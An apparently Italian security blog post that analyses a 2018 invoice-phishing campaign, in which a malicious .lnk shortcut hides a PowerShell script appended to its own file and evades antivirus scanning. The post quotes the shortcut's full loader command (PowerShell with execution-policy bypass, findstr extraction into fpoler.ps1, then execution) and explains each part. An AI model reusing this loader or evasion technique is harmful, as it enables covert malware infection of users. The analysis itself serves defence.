Malware nascosti in file .lnk

L'altro giorno mi è stata segnalata una mail malevola decisamente interessante.
Il corpo del testo è abbastanza normale, nella media dello standard di oggi, fin qui nulla di strano.

2018-07-12-12_12_39-Fattura-SA-international-S.p.A.--0V-SC430KMU---Messaggio--HTML---Sola-lettura-

Il bello però inizia quando si clicca il link per scaricare il file e iniziare così la catena di infezione.

Il download avviene tramite un sito legittimo compromesso, caso vuole che questo sito sia in HTTPS, quindi una protezione perimetrale senza inspection del traffico cifrato viene completamente bypassata. Ormai è imprescindibile avere un'ottima protezione Endpoint.

Ma andiamo avanti, il file scaricato si rivela essere un file .zip da una decina di KB, una volta estratto mostra un collegamento con l'icona di Esplora Risorse.

2018-07-13-22_21_05-fattura-per-cliente-X8-HKGDC

Se andiamo a verificare le proprietà del collegamento troviamo nel campo destinazione una stringa decisamente molto sospetta che termina per .ps1, ovvero uno script per PowerShell.

2018-07-13-22_22_48-Propriet----fattura-per-cliente-X8-HKGDC

I file .lnk sono infami, perché se vengono scansionati con un antimalware o caricati su un servizio online come VirusTotal, succede questo...

2018-07-13-22_40_44-VirusTotal

...ovvero viene seguito il collegamento. Tutto legittimo? All Green? Safe? Certo che no!

Analizziamo la stringa contenuta nel campo Destinazione:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c  findstr /s joe7jfo2sok %USERPROFILE%\\*.lnk  > %USERPROFILE%\Documents\fpoler.ps1;%USERPROFILE%\Documents\fpoler.ps1

Vediamo nel dettaglio cosa fa:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c

Questa stringa chiama il processo di PowerShell con due parametri, -ep bypass per bypassare la policy di sistema che può eventualmente bloccare l'esecuzione di script non firmati (serve essere admin della macchina), e -c per eseguire il tutto senza finestra.

findstr /s joe7jfo2sok %USERPROFILE%\\*.lnk

Chiamata la PowerShell, viene eseguito il comando riportato sopra per cercare una particolare stringa in modo ricorsivo nella cartella dell'utente loggato, in tutti i file con estensione .lnk. In questo caso cerca la stringa joe7jfo2sok.

> %USERPROFILE%\Documents\fpoler.ps1;%USERPROFILE%\Documents\fpoler.ps1

Una volta trovato il file, con il simbolo > viene dirottato l'output in un nuovo file fpoler.ps1 e poi immediatamente eseguito.

Quindi, ricapitoliamo: se noi facciamo click su questo collegamento, ci apre una PowerShell nascosta che cerca ricorsivamente in tutta la cartella dell'utente un link contenente la stringa joe7jfo2sok, quando lo trova, copia il contenuto nel file fpoler.ps1 e lo esegue.

...WTF?

giphy

Come fa a funzionare questa roba? Dov'è il payload? Dov'è il link per scaricare il vero malware?

Proviamo a farlo girare su app.any.run:
https://app.any.run/tasks/b05cf063-82f1-4ae9-ab60-876bcb5f51c6

2018-07-13-23_06_30-fattura-per-cliente-X8-HKGDC.zip--MD5_-6B0E66CF0A2DFB6780EB02D21D1F3152----Inter

Viene avviata la PowerShell e viene cercata quella stringa, e fin qui ci siamo, poi... un momento, da dove arrivano tutti questi comandi? Com'è possibile?
L'ultima cosa che abbiamo visto con l'analisi statica è la creazione del file fpoler.ps1, probabilmente arrivano da lì.

Navighiamo nella VM alla ricerca del file e...

2018-07-13-23_05_41-fattura-per-cliente-X8-HKGDC.zip--MD5_-6B0E66CF0A2DFB6780EB02D21D1F3152----Inter

...bingo!
Abbiamo trovato il downloader, ma resta la domanda di come è stato creato questo file.
Questo script da dove è uscito?
Come ha fatto un semplice findstr a generare questo output da un .lnk?
No, dev'essere per forza da qualche parte del file .lnk, ma dove? In quale campo?

L'unica via è provare ad aprire il file .lnk come testo, ma Esplora Risorse non ci permette di interagire con i .lnk come se fossero file, dobbiamo trovare un'altra strada. Per esempio, rinominarlo con un comando da shell testuale, come appunto PowerShell, usando Rename-Item.

2018-07-13-23_24_58-fattura-per-cliente-X8-HKGDC

A questo punto basta aprire il file .txt con un editor comune e...

2018-07-13-23_26_16-_C__Users_gabri_Downloads_fattura-per-cliente-X8-HKGDC_fattura-per-cliente-X8-HK

...GENIALE! Hanno nascosto lo script malevolo infilandolo in coda ad un file .lnk, passando sotto i radar e restando invisibile a scanner antimalware ed Esplora Risorse, per poi venire "copiato" come output via PowerShell in un .ps1 ed eseguito, con lo scopo di scaricare il vero malware.

This article was updated on 8 agosto 2023